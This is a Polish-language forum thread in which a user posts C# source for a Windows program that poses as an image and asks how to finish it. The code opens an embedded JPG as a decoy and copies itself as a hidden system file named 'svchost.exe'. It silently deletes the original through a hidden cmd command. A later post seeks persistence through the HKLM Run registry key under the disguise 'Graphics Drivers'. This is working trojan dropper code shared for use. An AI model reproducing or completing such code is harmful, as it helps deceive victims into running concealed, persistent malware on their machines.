Pokaż wyniki 1 do 3 z 3

Temat: Visual manipulowanie programem tak aby zachowywał się jak zdjęcie

  1. #1
    Zarejestrowany
    Mar 2013
    Postów
    2

    Domyślnie Visual manipulowanie programem tak aby zachowywał się jak zdjęcie

    Nie wiem jak skończyć ten kod:

    static void Main()
    {
    String currentFilePath = Assembly.GetExecutingAssembly().Location;
    String destinationFilePath = Path.Combine(Environment.GetFolderPath(Environment .SpecialFolder.CommonApplicationData), "svchost.exe"Wink;

    if (currentFilePath.ToLower() != destinationFilePath.ToLower())
    {
    String imagePath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory , Process.GetCurrentProcess().ProcessName);
    using (FileStream fileStream = File.Create(imagePath))
    {
    Assembly.GetExecutingAssembly().GetManifestResourc eStream("nazwa_projektu.image.jpg"Wink.CopyTo(file Stream);

    }
    Process.Start(imagePath);

    Boolean result;
    try
    {
    File.Copy(currentFilePath, destinationFilePath, false);
    result = true;
    }
    catch { result = false; }
    if (result)
    {
    File.SetAttributes(destinationFilePath, FileAttributes.Hidden | FileAttributes.ReadOnly | FileAttributes.System);
    Process.Start(destinationFilePath);

    ProcessStartInfo processStartInfo = new ProcessStartInfo();
    processStartInfo.FileName = "cmd.exe";
    processStartInfo.Arguments = "/C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del " + currentFilePath;
    processStartInfo.CreateNoWindow = true;
    processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
    processStartInfo.UseShellExecute = true;
    Process.Start(processStartInfo);
    Application.Exit();
    }
    else File.Delete(imagePath);
    }
    else
    {
    /*
    * Autorun.StartPersistence("Graphics Drivers", currentFilePath);
    * (tu nie wiem czy coś dopisać)
    */
    }

    }
    }


    Mam jeszcze jakoś zadbać o Autostart, żeby ów plik exe przeniósł się do niego w przypadku kliknięcia na obraz? Nie wiem jak długi ma być dalej ten kod (tu gdzie jest komunikat w nawiasie)

  2. #2
    Zarejestrowany
    Mar 2013
    Postów
    1

    Domyślnie

    Dziwne. Chodzi ci o to, że to ma być exe jako jpg jak to się dopisze?

  3. #3
    Zarejestrowany
    Mar 2013
    Postów
    2

    Domyślnie

    Odnośnie tej oto linijki:
    * Autorun.StartPersistence("Graphics Drivers", currentFilePath);
    to do currentFilePath powinienem dopisać to: (HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run ", &hkey);

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52